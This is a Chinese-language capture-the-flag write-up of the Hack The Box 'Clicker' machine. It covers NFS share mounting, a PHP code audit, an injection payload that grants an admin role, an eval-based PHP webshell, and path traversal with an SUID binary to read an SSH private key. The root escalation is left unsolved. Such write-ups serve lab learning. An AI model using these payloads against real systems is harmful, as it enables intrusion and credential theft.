Clicker-htb

0x01 立足

信息收集

端口扫描

从这里大致可以知道有web服务

使用了rpcbind,是一种通信协议,允许客户端调用远程服务器上的程序或服务。

简单来说RPC绑定服务充当了一个服务目录的角色,帮助客户端定位远程RPC服务的端口,从而使客户端能够与服务器进行通信

这里所需要注意的是开启的nfs共享

NFS共享是在NFS服务器上定义的文件系统或目录,可以被客户端挂载并访问

挂载nfs共享文件

使用showmount查看共享的是哪个文件

showmount -e 10.10.11.232

将共享的文件挂载到本地机子

这里是linux的挂载方法

mkdir -m 777 123

sudo mount -t nfs <NFS服务器IP或主机名>:<共享路径> <本地挂载点>

因为我使用的是wsl所以只能在主机windows上挂载

 New-PSDrive -Name M -PSProvider FileSystem -Root "\\10.10.11.232\mnt\backups" -Persist

将需要的文件拉去下来以后就可以用以下命令将挂载的M删掉

Remove-PSDrive -Name M

这里出现一个压缩文件看起来像是网站文件备份

php代码审计

从这里可以知道访问admin.php他会验证session里的role是否等于Admin

去找login.php这里发现将传入的数据给authenticate.php文件

分析authenticate.php

从这里能知道,它包含了一个db_utils.php

这里大概就能知道这是一个写了很多于数据库交互的函数的文件

登录以后他会调用db_utils.php文件里的load_profile函数,然后将从数据库查到的数据给session

这个session不是保存在本地的,是保存在服务器上的,通过每次的sessionip去获取,所以不能直接修改cookie上传session

到这里就到找到其他的能利用到的地方了

这里每次玩儿完可保存数据,并且对数据没有任何过滤,想保存什么就保存什么

从代码上来看调用了save_profile函数

这里就是重点了

foreach ($args as $key => $value) {}

这里首先是foreach将¥args也就是get传参进去的参数给变成一个类似数组的东西,

例如name=1那么进去以后键名就是name键值就是1

$setStr .= $key . "=" . $pdo->quote($value) . ",";

.=相当于是将$key . "=" . $pdo->quote($value) . ","插入到$setStr变量的最后

最后将这些参数通过update更新参数插入到数据库中

$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);

function save_profile($player, $args) {
	global $pdo;
  	$params = ["player"=>$player];
	$setStr = "";
  	foreach ($args as $key => $value) {
    		$setStr .= $key . "=" . $pdo->quote($value) . ",";
	}
  	$setStr = rtrim($setStr, ",");  #rtrim从最右侧删除’,‘
  	$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
  	$stmt -> execute($params);
}

这里又因为会去验证是否是role所以不能直接传

/save_game.php?clicks=0&level=0&role='Admin'

尝试保存数据抓包

payload:

?clicks%3d4,role%3d'Admin',clicks=4

防包以后重新登录就能有admin的功能点了

上传webshell

这里能看到可以保存数据,尝试抓包

从这里能明显看到数据以及保存的文件后缀名,尝试写入shell

访问以后似乎并没有写入

继续分析源代码

从这里看似乎是从数据库里拿的数据然后去保存

再次利用刚才的sql注入漏洞,尝试将webshell插入到Nickname字段

payload:

&nickname=<?php+eval($_POST['a']);?>

然后再重新保存一遍

拿到shell这里我使用的是curl反弹shell

0x02 拿用户权限

首先查看passwd文件能看到有除了root用户还有jack用户有权限

上linpeas.sh收集信息

攻击机python3开http服务

加运行权限然后跑出来给1.out

然后靶机开启http服务将1.out传回来用/parsePEASS工具把他转为html文件方便查看

sudo>1.9.5不存在版本漏洞

查看suid二进制文件的时候,这里出现一个不认识suid,并且发现拥有者是jack

进入到/opt/manage目录,看到有这个程序的说明

这里说实话不知道这个有什么用

这里去看了大佬的wp才知道这个可以拿来读文件

直接拿到了jack的ssh私钥

./execute_query 5 '../.ssh/id_rsa'

这里私钥的开头结尾是不对的

修改为

开头

-----BEGIN OPENSSH PRIVATE KEY-----

结尾

-----END OPENSSH PRIVATE KEY-----

拿到用户flag

0x03 提权

sudo -l看有root权限的程序

查看此程序的源码

这里可以简单知道通过curl获取数据然后保存为xml文件然后输出数据

#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml

看了下权限只有读和执行的权限

到这里后续没思路了,希望有大佬看到能指点以下,看了wp也不太能理解

答题器 - HTB |Gabe-Writeups (gaberoy.zip)

相关推荐

  1. Clicker - Linux

    2024-06-06 15:02:05       17 阅读
  2. HTB Devvortex

    2024-06-06 15:02:05       33 阅读
  3. HTB Ouija

    2024-06-06 15:02:05       32 阅读
  4. HTB Analysis

    2024-06-06 15:02:05       33 阅读
  5. HTB WifineticTwo

    2024-06-06 15:02:05       34 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-06 15:02:05       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-06 15:02:05       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-06 15:02:05       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-06 15:02:05       20 阅读

热门阅读

  1. 03-3.1.2 栈的顺序存储的实现

    2024-06-06 15:02:05       10 阅读
  2. AJAX

    AJAX

    2024-06-06 15:02:05      8 阅读
  3. leetcode刷题

    2024-06-06 15:02:05       8 阅读
  4. WebRTC 在 Android 端实现一对一通信

    2024-06-06 15:02:05       9 阅读
  5. Webrtc支持HEVC之Mediasoup SDP协商编码流程(三)

    2024-06-06 15:02:05       9 阅读
  6. Webrtc支持HEVC之编解码器创建(二)

    2024-06-06 15:02:05       8 阅读
  7. cuda 存储相关博客收藏

    2024-06-06 15:02:05       7 阅读
  8. 注解 - @RequestParam

    2024-06-06 15:02:05       8 阅读
  9. Python正则表达式匹配中文:深入解析与实战应用

    2024-06-06 15:02:05       9 阅读
  10. git -- 清除本地分支以及删除远程分支

    2024-06-06 15:02:05       11 阅读
  11. STM32开发遇见问题解决2024.6.6

    2024-06-06 15:02:05       7 阅读
  12. Elasticsearch核心概念解析:索引、文档与类型

    2024-06-06 15:02:05       9 阅读
  13. MQ基础(RabbitMQ)

    2024-06-06 15:02:05       8 阅读